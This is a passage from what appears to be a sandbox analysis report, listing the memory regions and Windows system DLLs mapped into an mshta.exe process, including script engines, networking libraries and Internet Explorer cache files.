end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 461 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 462 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 463 start_va = 0x4b0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 464 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 465 start_va = 0x6f6a0000 end_va = 0x6fc56fff entry_point = 0x6f6a0000 region_type = mapped_file name = "mshtml.dll" filename = "\\Windows\\SysWOW64\\mshtml.dll" (normalized: "c:\\windows\\syswow64\\mshtml.dll") Region: id = 466 start_va = 0x77870000 end_va = 0x77874fff entry_point = 0x77870000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 467 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 468 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 469 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 470 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 471 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 472 start_va = 0x75460000 end_va = 0x75595fff entry_point = 0x75460000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 473 start_va = 0x762f0000 end_va = 0x763e4fff entry_point = 0x762f0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 474 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 475 start_va = 0x76f30000 end_va = 0x7712afff entry_point = 0x76f30000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 476 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 477 start_va = 0x769c0000 end_va = 0x76adcfff entry_point = 0x769c158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 478 start_va = 0x76e90000 end_va = 0x76e9bfff entry_point = 0x76e9238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 479 start_va = 0x75170000 end_va = 0x75199fff entry_point = 0x75170000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\SysWOW64\\msls31.dll" (normalized: "c:\\windows\\syswow64\\msls31.dll") Region: id = 480 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 481 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 482 start_va = 0x5e0000 end_va = 0x767fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 483 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 484 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 485 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 486 start_va = 0x880000 end_va = 0xa00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 487 start_va = 0xe00000 end_va = 0x21fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 488 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 489 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 490 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0xe0000 region_type = mapped_file name = "mshta.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\mshta.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshta.exe.mui") Region: id = 491 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 492 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 493 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 494 start_va = 0xbd0000 end_va = 0xccffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 495 start_va = 0x74a00000 end_va = 0x74a20fff entry_point = 0x74a0145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 496 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 497 start_va = 0x762a0000 end_va = 0x762e4fff entry_point = 0x762a11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 498 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 499 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 500 start_va = 0x73db0000 end_va = 0x73e2ffff entry_point = 0x73dc37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 501 start_va = 0xa10000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 502 start_va = 0xa10000 end_va = 0xaeefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 503 start_va = 0xb70000 end_va = 0xbaffff entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 504 start_va = 0x73b10000 end_va = 0x73b22fff entry_point = 0x73b11d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 505 start_va = 0x2200000 end_va = 0x24cefff entry_point = 0x2200000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 506 start_va = 0x24d0000 end_va = 0x2812fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024d0000" filename = "" Region: id = 507 start_va = 0x75650000 end_va = 0x76299fff entry_point = 0x756d1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 508 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 509 start_va = 0x74b40000 end_va = 0x74b4afff entry_point = 0x74b41992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 510 start_va = 0x140000 end_va = 0x14bfff entry_point = 0x140000 region_type = mapped_file name = "index.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 511 start_va = 0x150000 end_va = 0x157fff entry_point = 0x150000 region_type = mapped_file name = "index.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 512 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x160000 region_type = mapped_file name = "index.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 513 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x1d0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat") Region: id = 514 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 515 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 516 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 517 start_va = 0x210000 end_va = 0x210fff entry_point = 0x210000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 518 start_va = 0x220000 end_va = 0x221fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 519 start_va = 0x74820000 end_va = 0x749bdfff entry_point = 0x7484e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 520 start_va = 0x210000 end_va = 0x210fff entry_point = 0x210000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 521 start_va = 0x230000 end_va = 0x231fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 522 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 523 start_va = 0x240000 end_va = 0x241fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 524 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x77130000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 525 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c80000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 526 start_va = 0x3c0000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 527 start_va = 0x75120000 end_va = 0x75163fff entry_point = 0x75120000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 528 start_va = 0x250000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 529 start_va = 0x75100000 end_va = 0x7511bfff entry_point = 0x75100000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 530 start_va = 0x75300000 end_va = 0x75306fff entry_point = 0x75300000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 531 start_va = 0x510000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 532 start_va = 0x29d0000 end_va = 0x2acffff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 533 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 534 start_va = 0x750a0000 end_va = 0x750f1fff entry_point = 0x750a0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 535 start_va = 0x75080000 end_va = 0x75094fff entry_point = 0x75080000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 536 start_va = 0x75070000 end_va = 0x7507cfff entry_point = 0x75070000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 537 start_va = 0xd70000 end_va = 0xdaffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 538 start_va = 0x2bb0000 end_va = 0x2caffff entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 539 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 540 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 541 start_va = 0x28c0000 end_va = 0x28fffff entry_point = 0x0 region_type = private name = "private_0x00000000028c0000" filename = "" Region: id = 542 start_va = 0x2e30000 end_va = 0x2f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e30000" filename = "" Region: id = 543 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 544 start_va = 0x2a0000 end_va = 0x2a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 545 start_va = 0xd30000 end_va = 0xd6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 546 start_va = 0x2cb0000 end_va = 0x2daffff entry_point = 0x0 region_type = private name = "private_0x0000000002cb0000" filename = "" Region: id = 547 start_va = 0x30d0000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x00000000030d0000" filename = "" Region: id = 548 start_va = 0x75060000 end_va = 0x75065fff entry_point = 0x75060000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" (normalized: "c:\\windows\\syswow64\\sensapi.dll") Region: id = 549 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 550 start_va = 0x75050000 end_va = 0x7505ffff entry_point = 0x75050000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" (normalized: "c:\\windows\\syswow64\\nlaapi.dll") Region: id = 551 start_va = 0x3c0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 552 start_va = 0x400000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 553 start_va = 0xaf0000 end_va = 0xb6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 554 start_va = 0x2b0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 555 start_va = 0x75040000 end_va = 0x75045fff entry_point = 0x75040000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 556 start_va = 0xaf0000 end_va = 0xb2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 557 start_va = 0xb60000 end_va = 0xb6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 558 start_va = 0x32c0000 end_va = 0x33bffff entry_point = 0x0 region_type = private name = "private_0x00000000032c0000" filename = "" Region: id = 559 start_va = 0x75030000 end_va = 0x7503ffff entry_point = 0x75030000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 560 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 561 start_va = 0x3c0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 562 start_va = 0x3e0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 563 start_va = 0x75010000 end_va = 0x75021fff entry_point = 0x75010000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 564 start_va = 0x74fd0000 end_va = 0x7500bfff entry_point = 0x74fd0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 565 start_va = 0x2840000 end_va = 0x287ffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 566 start_va = 0x33f0000 end_va = 0x34effff entry_point = 0x0 region_type = private name = "private_0x00000000033f0000" filename = "" Region: id = 567 start_va = 0x74fc0000 end_va = 0x74fc4fff entry_point = 0x74fc0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 568 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 569 start_va = 0x74fb0000 end_va = 0x74fb7fff entry_point = 0x74fb0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 570 start_va = 0x74fa0000 end_va = 0x74fa5fff entry_point = 0x74fa0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 571 start_va = 0x76840000 end_va = 0x76842fff entry_point = 0x76840000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll") Region: id = 572 start_va = 0x4c0000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 573 start_va = 0x2f30000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 574 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 575 start_va = 0x74f90000 end_va = 0x74f9afff entry_point = 0x74f90000 region_type = mapped_file name = "msimtf.dll" filename = "\\Windows\\SysWOW64\\msimtf.dll" (normalized: "c:\\windows\\syswow64\\msimtf.dll") Region: id = 576 start_va = 0x2b0000 end_va = 0x2b0fff entry_point = 0x2b0000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msctf.dll.mui") Region: id = 577 start_va = 0x2900000 end_va = 0x297ffff entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 578 start_va = 0x74f50000 end_va = 0x74f8bfff entry_point = 0x74f50000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 579 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x3f0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 580 start_va = 0x74f10000 end_va = 0x74f47fff entry_point = 0x74f10000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 581 start_va = 0x2b40000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 582 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 583 start_va = 0xcd0000 end_va = 0xd0bfff entry_point = 0xcd128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 584 start_va = 0xcd0000 end_va = 0xd0bfff entry_point = 0xcd128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 585 start_va = 0xcd0000 end_va = 0xd0bfff entry_point = 0xcd128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 586 start_va = 0xcd0000 end_va = 0xd0bfff entry_point = 0xcd128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 587 start_va = 0xcd0000 end_va = 0xd0bfff entry_point = 0xcd128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 588 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 589 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 590 start_va = 0x3220000 end_va = 0x325ffff entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 591 start_va = 0x3590000 end_va = 0x368ffff entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 592 start_va = 0x74eb0000 end_va = 0x74f09fff entry_point = 0x74eb0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" (normalized: "c:\\windows\\syswow64\\netprofm.dll") Region: id = 593 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 594 start_va = 0x751a0000 end_va = 0x751fefff entry_point = 0x751a2134 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 595 start_va = 0x440000 end_va = 0x440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 596 start_va = 0x440000 end_va = 0x440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 597 start_va = 0x440000 end_va = 0x440fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 598 start_va = 0x74ea0000 end_va = 0x74ea7fff entry_point = 0x74ea0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" (normalized: "c:\\windows\\syswow64\\npmproxy.dll") Region: id = 728 start_va = 0x6ec20000 end_va = 0x6f69ffff entry_point = 0x6ec20000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 729 start_va = 0x440000 end_va = 0x441fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 730 start_va = 0x3690000 end_va = 0x3a82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003690000" filename = "" Region: id = 731 start_va = 0x74e80000 end_va = 0x74e91fff entry_point = 0x74e80000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 732 start_va = 0x74e70000 end_va = 0x74e7cfff entry_point = 0x74e70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 733 start_va = 0x2dc0000 end_va = 0x2dfffff entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 734 start_va = 0x3ba0000 end_va = 0x3bdffff entry_point = 0x0 region_type = private name = "private_0x0000000003ba0000" filename = "" Region: id = 735 start_va = 0x3be0000 end_va = 0x450ffff entry_point = 0x3be0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 736 start_va = 0x4670000 end_va = 0x476ffff entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 737 start_va = 0x7ef98000 end_va = 0x7ef9afff entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 738 start_va = 0x73bc0000 end_va = 0x73c71fff entry_point = 0x73bc0000 region_type = mapped_file name = "jscript.dll" filename = "\\Windows\\SysWOW64\\jscript.dll" (normalized: "c:\\windows\\syswow64\\jscript.dll") Region: id = 739 start_va = 0x74e00000 end_va = 0x74e6afff entry_point = 0x74e00000 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\SysWOW64\\vbscript.dll" (normalized: "c:\\windows\\syswow64\\vbscript.dll") Region: id = 740 start_va = 0x74dd0000 end_va = 0x74df0fff entry_point = 0x74dd0000 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 741 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba0000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 742 start_va = 0x73b70000 end_va = 0x73b99fff entry_point = 0x73b70000 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 743 start_va = 